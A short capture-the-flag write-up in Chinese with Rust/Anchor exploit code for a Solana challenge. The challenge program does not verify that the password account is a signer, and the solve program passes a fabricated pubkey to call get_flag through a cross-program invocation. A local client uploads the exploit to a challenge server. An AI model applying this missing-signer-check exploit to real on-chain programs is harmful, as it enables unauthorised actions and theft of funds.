随意捏造一个满足条件的pubkey传入,没有写入或者判断signer。
但要注意此pubkey需要在一开始就传入(包含在instruction的accounts列表里),因为solana限制了后续访问仅限于给定的account。需要修改main.rs
同时这样配合anchor写起来也方便。
use anchor_lang::prelude::*;
use std::mem::transmute;
use anchor_spl::token::Token;
pub const PASSWORD_SEED: &[u8] = &[218, 21, 99, 30, 0, 1, 0, 0];
declare_id!("osecio1111111111111111111111111111111111111");
#[program]
pub mod solve {
use super::*;
pub fn solve(ctx: Context<Solve>) -> Result<()> {
// let i: u64 = 1100021437914;
// let seed: [u8; 8] = unsafe { transmute(i) };
msg!("addr: {}", ctx.accounts.password.key());
let cpi_accounts = chall::cpi::accounts::GetFlag {
flag: ctx.accounts.state.to_account_info(),
password: ctx.accounts.password.to_account_info(),
payer: ctx.accounts.payer.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::get_flag(cpi_ctx)?;
Ok(())
}
}
#[derive(Accounts)]
pub struct Solve<'info> {
#[account(mut)]
pub state: AccountInfo<'info>,
#[account(mut)]
pub payer: Signer<'info>,
pub password: AccountInfo<'info>,
pub system_program: Program<'info, System>,
pub token_program: Program<'info, Token>,
pub rent: Sysvar<'info, Rent>,
pub chall: Program<'info, chall::program::Chall>
}
use chall::anchor_lang::{InstructionData, ToAccountMetas};
use chall::FLAG_SEED;
use solve::PASSWORD_SEED;
use solana_program::pubkey;
use solana_program::pubkey::Pubkey;
use std::net::TcpStream;
use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr};
fn get_line<R: Read>(reader: &mut BufReader<R>) -> Result<String, Box<dyn Error>> {
let mut line = String::new();
reader.read_line(&mut line)?;
let ret = line
.split(':')
.nth(1)
.ok_or("invalid input")?
.trim()
.to_string();
Ok(ret)
}
fn main() -> Result<(), Box<dyn Error>> {
let mut stream = TcpStream::connect("127.0.0.1:8080")?;
let mut reader = BufReader::new(stream.try_clone().unwrap());
let mut line = String::new();
let so_data = fs::read("./solve/target/deploy/solve.so")?;
reader.read_line(&mut line)?;
writeln!(stream, "{}", solve::ID)?;
reader.read_line(&mut line)?;
writeln!(stream, "{}", so_data.len())?;
stream.write_all(&so_data)?;
let chall_id = chall::ID;
let user = Pubkey::from_str(&get_line(&mut reader)?)?;
let ix = solve::instruction::Solve {};
let data = ix.data();
let state = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0;
// let password = Pubkey::find_program_address(&[PASSWORD_SEED], &solve::ID).0;
let password = pubkey!("8W4K4CZyZw3cYYdt8mkbpm4QVYqXNr7aguiXmbkN4i1M");
let ix_accounts = solve::accounts::Solve {
state,
password: password,
payer: user,
token_program: spl_token::ID,
chall: chall_id,
system_program: solana_program::system_program::ID,
rent: solana_program::sysvar::rent::ID,
};
let metas = ix_accounts.to_account_metas(None);
reader.read_line(&mut line)?;
writeln!(stream, "{}", metas.len())?;
for meta in metas {
let mut meta_str = String::new();
meta_str.push('m');
if meta.is_writable {
meta_str.push('w');
}
if meta.is_signer {
meta_str.push('s');
}
meta_str.push(' ');
meta_str.push_str(&meta.pubkey.to_string());
writeln!(stream, "{}", meta_str)?;
stream.flush()?;
}
reader.read_line(&mut line)?;
writeln!(stream, "{}", data.len())?;
stream.write_all(&data)?;
stream.flush()?;
line.clear();
while reader.read_line(&mut line)? != 0 {
print!("{}", line);
line.clear();
}
Ok(())
}